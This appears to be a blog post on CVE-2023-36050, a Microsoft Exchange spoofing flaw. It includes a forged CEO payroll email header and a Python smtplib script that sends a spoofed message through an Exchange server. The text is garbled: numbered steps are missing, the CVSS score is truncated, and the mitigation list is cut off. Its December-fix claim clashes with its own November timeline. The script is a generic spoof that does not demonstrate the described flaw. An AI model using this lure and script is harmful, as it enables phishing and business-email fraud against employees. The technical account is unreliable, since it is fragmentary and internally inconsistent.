---

Microsoft Exchange Server is a backbone for corporate email systems worldwide. But in late 2023, researchers uncovered a significant flaw—CVE-2023-36050—that allows attackers to spoof messages, manipulate trust, and potentially slip malicious content past even vigilant organizations. In this in-depth post, I’ll walk you through what CVE-2023-36050 is, how it works, and why it matters, using plain language and real-world code snippets.

What is CVE-2023-36050?

CVE-2023-36050 is a spoofing vulnerability in Microsoft Exchange Server. A flaw in the way Exchange handles messaging can let attackers send emails that appear to originate from trusted domains or users—even if they didn’t.

Severity:
CVSS score: 8. (High)
Impacted versions:

Microsoft Exchange Server 2019

Microsoft's Advisory:
Microsoft Security Response Center – CVE-2023-36050

How Does the Exploit Work?

The heart of the vulnerability lies in how Exchange’s Autodiscover or email header logic handles incoming messages. With a carefully-crafted email, an attacker can manipulate the headers so Exchange relays the message as if it came from within your organization.

The email contains spoofed headers, such as From and Reply-To.

3. The Exchange server, due to improper validation, forwards or processes the email as if it is legitimate.
4. The recipient, seeing a trusted name or domain, is more likely to interact with the email or attachments.

Example: How the Spoofing Looks

Let’s look at how this attack might play out at the code and protocol level.

Sample Malicious Email Header

From: "CEO Name" <ceo@yourcompany.com>
Reply-To: "Attacker" <attacker@gmail.com>
To: employee@yourcompany.com
Subject: Urgent Payroll Update

Please see the attached file and update your payroll details.

Normally, Exchange should validate whether the sender (From) is allowed or aligns with the sending mail server. Vulnerable versions do not, and the message is delivered as if it came from ceo@yourcompany.com.

Here’s a basic snippet using smtplib in Python to send a spoofed message

import smtplib
from email.mime.text import MIMEText

msg = MIMEText("This is a spoofed email exploiting CVE-2023-36050.")
msg['Subject'] = 'Important Update'
msg['From'] = '"CEO" <ceo@yourcompany.com>'
msg['To'] = 'employee@yourcompany.com'
msg['Reply-To'] = '"Attacker" <badguy@gmail.com>'

smtp = smtplib.SMTP('exchange-server.yourcompany.com', 25)
smtp.sendmail('ceo@yourcompany.com', ['employee@yourcompany.com'], msg.as_string())
smtp.quit()

> Note: This example is for educational demonstration only.

Enable spear-phishing or business-email compromise (BEC) attacks, costing millions

Real-World Scenario:
An attacker targets payroll staff, pretending to be the CEO, and asks for urgent payment transfers. Because the email comes through Exchange and looks internal, extra trust is given.

How Was It Fixed?

Microsoft fixed the vulnerability by tightening header validation in the December 2023 Exchange Security Updates, ensuring incoming messages align with expected authentication.

Exchange Server 2019 Cumulative Update 13 and 14

Update Guidance:
Microsoft Exchange Updates Download

Make sure only trusted servers can relay mail.

3. Implement SPF/DKIM/DMARC:

References & More Reading

- Official CVE-2023-36050 MSRC Advisory
- NIST CVE-2023-36050 Entry
- Microsoft: Guide to Spoofing Protection

Conclusion

CVE-2023-36050 shows how even trusted systems like Exchange can become a weak link. Spoofing attacks are not new, but this flaw made it shockingly easy until it was patched. Update your Exchange servers, review your mail flow rules, and educate users—because attackers always look for the simplest way in.

Timeline

Published on: 11/14/2023 18:15:36 UTC
Last modified on: 11/20/2023 18:18:02 UTC